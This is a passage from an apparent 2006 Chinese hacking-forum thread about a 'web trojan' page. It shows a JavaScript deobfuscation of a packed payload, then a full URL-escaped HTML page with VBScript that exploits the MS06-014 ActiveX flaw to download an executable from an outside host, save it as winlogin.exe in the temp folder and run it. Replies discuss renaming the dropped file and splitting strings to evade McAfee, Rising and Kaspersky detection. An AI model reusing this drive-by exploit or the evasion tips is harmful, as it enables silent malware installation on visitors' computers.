1d<\\/l>");3.4(" <\\/o><q>");3.4(" <r><\\/r>");3.4(" <\\/q><\\/p>")</textarea><br>
以下开始用js生成一个代换表,将上表中对应的字母替换为单词：<br>
<script>
var result;
function f(p,a,c,k,e,d)
{
//c=关键词数量
//a=与映射表有关
//k=关键词数组
//p=密文
//e,d=空
e=function(c)
{return (c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
//*这里做了一个c的映射函数，从数字映射到ascii字符。0~35 -> 0~z; 35~61 -> A~Z; 62~97 -> 10~1z ...
while(c--)d[e(c)]=k[c]||e(c); //*
//再次映射 字母 -> 单词 ,
//k=[function(e){return d[e]}]; //相当于k[0]=function(e){return d[e]};
//e=function(){return'\\w+'};
//c=1;
//while(c--)
//{if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); //k[c]是一个函数
//其实上面的东西都是用来让我们犯糊涂的好方法，精简后代码如下
c=0;
//p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); //做正则替换
p=p.replace(/\b\w+\b/g,function(e){return d[e]});
//下面的代码是我自己加的，仅为了演示用
result=p;
document.write("<textarea cols=120 rows=13>")
for (key in d) //显示映射表的所有表项
{ document.write(key+" => "+d[key]+"\n"); }
document.write("</textarea><br>")
//}
}
f('3.4("<p>");3.4(" <m L=\\"M\\">");3.4(" N I J K");3.4(" 9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4(" f 5 = 3.R(\\"T\\")");3.4(" 5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4(" g=\\"D.E\\"");3.4(" f x = 5.A(g,\\"\\")");3.4(" d=\\"C\\"");3.4(" e=\\"X.\\"");3.4(" j=\\"1b\\"");3.4(" k=\\"1c\\"");3.4(" h=d&e&j&k");3.4(" i=h");3.4(" 7 S = 5.8(i,\\"\\")");3.4(" S.1e = 1");3.4(" a=\\"18\\"");3.4(" x.11 a, 9, Y");3.4(" x.Z");3.4(" 6=\\"16.c\\"");3.4(" 7 F = 5.8(\\"15.13\\",\\"\\")");3.4(" 7 b = F.14(2) ");3.4(" 6= F.10(b,6)");3.4(" S.n");3.4(" S.1f x.19");3.4(" S.17 6,2");3.4(" S.1a");3.4(" 7 Q = 5.8(\\"G.B\\",\\"\\")");3.4(" Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4(" <\\/m>");3.4(" <o>");3.4(" <l>1g 1h 1d<\\/l>");3.4(" <\\/o><q>");3.4(" <r><\\/r>");3.4(" <\\/q><\\/p>")',62,80,'|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all'.split('|'),0,{});
document.write("<br>这就是替换的结果:<br><textarea cols=120 rows=16>"+result+"</textarea>");
</script>
<br><br>最后使用了eval()将以上生成的代码激活执行。<br>
你可以仔细对照原来的代码与现在的代码来体会一下作者的用意，呵呵<br>
<br><br><center><hr>虫虫 2006.9.20 制作<br><a href=hTtP://hI.bAidU.cOm/aNUiz target=_blank>[url]hTtP://hI.bAidU.cOm/aNUiz</a>[/url]
[/code]
我的小窝 [url]http://hi.baidu.com/anuiz[/url] 把我给的代码里的所有注释全部去掉就可以看到很有节奏感的代码，
但是每一句代码都可能会让你停住思考一阵子，原来得代码更是这样——这也是我佩服作者的地方。 我很想改代码过杀毒，可发现麦咖啡对"http://"不放过，瑞星对"ShellExecute"不放过，其它的代码都用字符替换转换过了，最后难得改了，在改了后的代码上随便用个工具加下密就全过了。 自我感觉
脚本变形是最好的免杀方法，可以参考superhei写的文章 真够麻烦的。。。汗。
<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--
var Words ="%3Chtml%3E%0D%0A%20%3Cscript%20language%3D%22VBScript%22%3E%0D%0A%20%20%20%20on%20error%20resume%20next%0D%0A%20%20%20%20%271555%0D%0A%20%20%20%20dl%20%3D%22http%3A%2F%2Fwww%2Exjhuaao%2Ecom%2Fserver%2Eexe%22%0D%0A%0D%0A%20%20%20%20%271666%0D%0A%20%20%20%20Set%20df%20%3D%20document%2EcreateElement%28%22object%22%29%0D%0A%20%20%20%20%27178%0D%0A%20%20%20%20df%2EsetAttribute%20%22classid%22%2C%20%22clsid%3ABD96C556%2D65A3%2D11D0%2D983A%2D00C04FC29E36%22%0D%0A%20%20%20%20%271668%0D%0A%20%20%20%20str%3D%22Microsoft%2EXMLHTTP%22%0D%0A%20%20%20%20%27894%0D%0A%20%20%20%20Set%20x%20%3D%20df%2ECreateObject%28str%2C%22%22%29%0D%0A%20%20%20%20%274545%0D%0A%20%20%20%20a1%3D%22Ado%22%0D%0A%20%20%20%20a2%3D%22db%2E%22%0D%0A%20%20%20%20a3%3D%22Str%22%0D%0A%20%20%20%20a4%3D%22eam%22%0D%0A%20%20%20%20%27456%0D%0A%20%20%20%20str1%3Da1%26a2%26a3%26a4%0D%0A%20%20%20%20str5%3Dstr1%0D%0A%20%20%20%20%274444%0D%0A%20%20%20%20set%20S%20%3D%20df%2Ecreateobject%28str5%2C%22%22%29%0D%0A%20%20%20%20%275455%0D%0A%20%20%20%20S%2Etype%20%3D%201%0D%0A%20%20%20%20str6%3D%22GET%22%0D%0A%20%20%20%20%2744%0D%0A%20%20%20%20x%2EOpen%20str6%2C%20dl%2C%20False%0D%0A%20%20%20%20x%2ESend%0D%0A%20%20%20%20%27999%0D%0A%20%20%20%20fname1%3D%22winlogin%2Eexe%22%0D%0A%20%20%20%20%27888%0D%0A%20%20%20%20set%20F%20%3D%20df%2Ecreateobject%28%22Scripting%2EFileSystemObject%22%2C%22%22%29%0D%0A%20%20%20%20%27744%0D%0A%20%20%20%20set%20tmp%20%3D%20F%2EGetSpecialFolder%282%29%20%0D%0A%20%20%20%20%27424%0D%0A%20%20%20%20fname1%3D%20F%2EBuildPath%28tmp%2Cfname1%29%0D%0A%20%20%20%20%274241%0D%0A%20%20%20%20S%2Eopen%0D%0A%20%20%20%20%278741%0D%0A%20%20%20%20S%2Ewrite%20x%2EresponseBody%0D%0A%20%20%20%20%274441%0D%0A%20%20%20%20S%2Esavetofile%20fname1%2C2%0D%0A%20%20%20%20%276551%0D%0A%20%20%20%20S%2Eclose%0D%0A%20%20%20%20%27458%0D%0A%20%20%20%20set%20Q%20%3D%20df%2Ecreateobject%28%22Shell%2EApplication%22%2C%22%22%29%0D%0A%20%20%20%20%272%0D%0A%20%20%20%20Q%2EShellExecute%20fname1%2C%22%22%2C%22%22%0D%0A%20%20%20%20%2755%0D%0A%20%20%20%20%3C%2Fscript%3E%0D%0A%20%20%20%20%3Chead%3E%0D%0A%20%20%20%20%3Ctitle%3EicexiaoyeMS06%2D014%u514D%u6740%u7F51%u9A6C%3C%2Ftitle%3E%0D%0A%20%20%20%20%3C%2Fhead%3E%3Cbody%3E%0D%0A%09%3Ccenter%3EicexiaoyeMS06%2D014%u514D%u6740%u7F51%u9A6C%3C%2Fcenter%3E%0D%0A%20%20%20%20%3C%2Fbody%3E%0D%0A%0D%0A%3Cscript%20type%3D%22text%2Fjscript%22%3E%0D%0Afunction%20init%28%29%20%7B%20%0D%0Adocument%2Ewrite%28Date%28%29%29%3B%0D%0A%0D%0A%7D%0D%0Awindow%2Eonload%20%3D%20init%3B%0D%0A%3C%2Fscript%3E%0D%0A%3C%2Fhtml%3E%0D%0A%0D%0A"
function SetNewWords()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
SetNewWords();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML> fname1="g0ld.com"是什么意识？谁能说一下？谢谢 你的木马被下载后的名字 g0ld.com 那是不是可以随便改为其他的名字呢？ [quote][b]这里是引用第[/b][color=#ff0000][42 楼][/color][b]的[color=#000066]zxyand[/color]于[/b]2006-10-07 20:25[b]发表的：[/b]
那是不是可以随便改为其他的名字呢？[/quote]
好象是可以的。刚看别人的网马了。 感觉拆分了合并，并且把它自定义的一些常量名可以换成是自己的，这样就可以躲过查杀了。感觉加密不好的说～～～ [quote][b]这里是引用第[/b][color=#ff0000][42 楼][/color][b]的[color=#000066]zxyand[/color]于[/b]2006-10-07 20:25[b]发表的：[/b]
那是不是可以随便改为其他的名字呢？[/quote]
可以。你随便改 不加密免杀才是正道
我们所做的加密只是对源代码的一种保护
个人看法吧，如果说源代码不免杀，你怎么加密到头都一样不免杀，还是要从源码下手操作免杀 all detected from kaspersky as exploit :(
页:
[1]